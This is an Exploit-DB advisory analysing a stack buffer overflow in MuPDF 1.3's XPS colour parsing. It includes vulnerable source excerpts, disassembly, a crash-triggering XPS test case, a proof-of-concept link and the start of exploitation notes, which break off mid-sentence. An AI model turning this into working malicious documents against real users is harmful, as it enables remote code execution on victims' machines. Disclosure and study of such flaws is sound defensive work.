Exploit-DB #31090
Description: MuPDF 1.3 - 'xps_parse_color()' Stack Buffer Overflow
Type: local
Platform: windows
Date: 2014-01-20
Author: Jean-Jamil Khalife

Exploit:
=============================================================
0day - MuPDF Stack-based Buffer Overflow in xps_parse_color()
=============================================================
# Date of discovery: 2013-01-26
# Software Links: http://www.mupdf.com/ ; http://en.wikipedia.org/wiki/MuPDF
# Version: <= 1.3
# Author: Jean-Jamil Khalife
# Tested on: Windows XP SP3 (fr) / Windows 7 x64 (fr)
# Home: http://www.hdwsec.fr
# Blog : http://www.hdwsec.fr/blog.html

Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31090.xps

Description :
==============
This vulnerability leads to a remote code execution when a user opens a
malicious XPS document.


Disclosure Timeline :
=====================
2014-01-16 MuPDF contacted
2014-01-18 fix integrated


Analysis :
==========
When MuPDF loads the XPS document, it loads the first page and parses
each element via xps_parse_element() as detailed in the XPS
specification (
http://www.ecma-international.org/publications/files/ECMA-ST/ECMA-388.pdf ),
When the crash occurs, the call stack looks like this :

<code>
mupdf.exe!xps_parse_path
mupdf.exe!xps_parse_element
mupdf.exe!xps_parse_fixed_page
mupdf.exe!xps_run_page
mupdf.exe!fz_run_page_contents
mupdf.exe!pdfapp_loadpage
</code>

<code>
void
xps_parse_element(xps_document *doc, const fz_matrix *ctm, const fz_rect
*area, char *base_uri, xps_resource *dict, fz_xml *node )
{
.............
if (!strcmp(fz_xml_tag(node), "Path"))
xps_parse_path(doc, ctm, base_uri, dict, node);
if (!strcmp(fz_xml_tag(node), "Glyphs"))
xps_parse_glyphs(doc, ctm, base_uri, dict, node);
.............
}
</code>

In this case, the Path element is parsed via the xps_parse_path()
function which allows extraction of the attributes and extended
attributes (Clip, Data, Fill, ...).
If some conditions are fulfilled, we can trigger a stack overflow in the
xps_parse_color() function when it parses the value "ContextColor" of
the attribute "Fill".

<code>
void
xps_parse_path(xps_document *doc, const fz_matrix *ctm, char *base_uri,
xps_resource *dict, fz_xml *root)
{
fz_stroke_state *stroke = NULL;
fz_matrix transform;
float samples[32];
fz_colorspace *colorspace;
fz_path *path;
fz_path *stroke_path = NULL;
fz_rect area;
int fill_rule;
int dash_len = 0;
fz_matrix local_ctm;
.......
fill_att = fz_xml_att(root, "Fill");
.......
if (fill_att)
{
xps_parse_color(doc, base_uri, fill_att, &colorspace, samples);
if (fill_opacity_att)
samples[0] *= fz_atof(fill_opacity_att);
xps_set_color(doc, colorspace, samples);

fz_fill_path(doc->dev, path, fill_rule == 0, &local_ctm,
doc->colorspace, doc->color, doc->alpha);
}
.......
}
</code>

This function is in charge of getting all the floating numbers of
ContextColor and putting them into the samples[32] buffer. The issue is
that it does it without controlling the size of this array.

<code>
void
xps_parse_color(xps_document *doc, char *base_uri, char *string,
fz_colorspace **csp, float *samples)
{
.............
else if (strstr(string, "ContextColor ") == string)
{
fz_strlcpy(buf, string, sizeof buf);
profile = strchr(buf, ' ');
if (!profile)
{
fz_warn(doc->ctx, "cannot find icc profile uri in '%s'", string);
return;
}
*profile++ = 0;
p = strchr(profile, ' ');
if (!p)
{
fz_warn(doc->ctx, "cannot find component values in '%s'", profile);
return;
}
*p++ = 0;
n = count_commas(p) + 1;
i = 0;
while (i < n)
{
samples[i++] = fz_atof(p);
p = strchr(p, ',');
if (!p)
break;
p ++;
if (*p == ' ')
p ++;
}
}
.............
}
</code>

This is the assembly code from the compiled C code above :
<code>
.text:0047C590 loc_47C590:
.text:0047C590 push esi ; char *
.text:0047C591 call fz_atof // convert into float
.text:0047C596 fstp dword ptr [edi+ebx*4]
.text:0047C599 add esp, 4
.text:0047C59C push 2Ch ; int
.text:0047C59E push esi ; char *
.text:0047C59F add ebx, 1
.text:0047C5A2 call _strchr // search next comma
.text:0047C5A7 mov esi, eax
.text:0047C5A9 add esp, 8
.text:0047C5AC test esi, esi // check if the returned pointer is null
.text:0047C5AE jz short loc_47C5C1
.text:0047C5B0 add esi, 1
.text:0047C5B3 cmp byte ptr [esi], 20h // trim potential space
.text:0047C5B6 jnz short loc_47C5BB
.text:0047C5B8 add esi, 1
.text:0047C5BB
.text:0047C5BB loc_47C5BB:
.text:0047C5BB cmp ebx, ebp // check only the number of comma (oops...
no test for the samples size)
.text:0047C5BD jl short loc_47C590
</code>

This is an example of a proof-of-concept test case that triggers the
overflow :
<code>
<FixedPage Width="793.76" Height="1122.56"
xmlns="http://schemas.microsoft.com/xps/2005/06" xml:lang="und">
<Path Data="" Fill="ContextColor
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47"
/>
</FixedPage>
</code>

Exploitation :
==============
I decided to use the latest version of the executable provided on the
official website.
Software : MuPDF v1.3
Tested on : Windows XP SP3 (fr) / Windows 7 x64 (fr)

1) It doesn't matter if the executable is compiled with /GS (this is the
case on mupdf.exe). The reason is that the stack concerns a float array
and an old version of Visual Studio doesn't add security cookies in this
case.
If it was the case the vulnerability would be more difficult to exploit.
We can't erase the SEH because of the small stack buffer but depending
on the concerned software, it maybe possible to replace interesting
variables or structures values to control the EIP.

2) Given that samples is a float array, we have to make our payload
fit into an array of floats.
The size of the temporary buffer is limited to 0x400 bytes as can be
seen in fz_strlcpy(...). As said above, we have to make our payload fit
into an array of floats. For this reason it's important that each float
has a long ansi size (about 22 by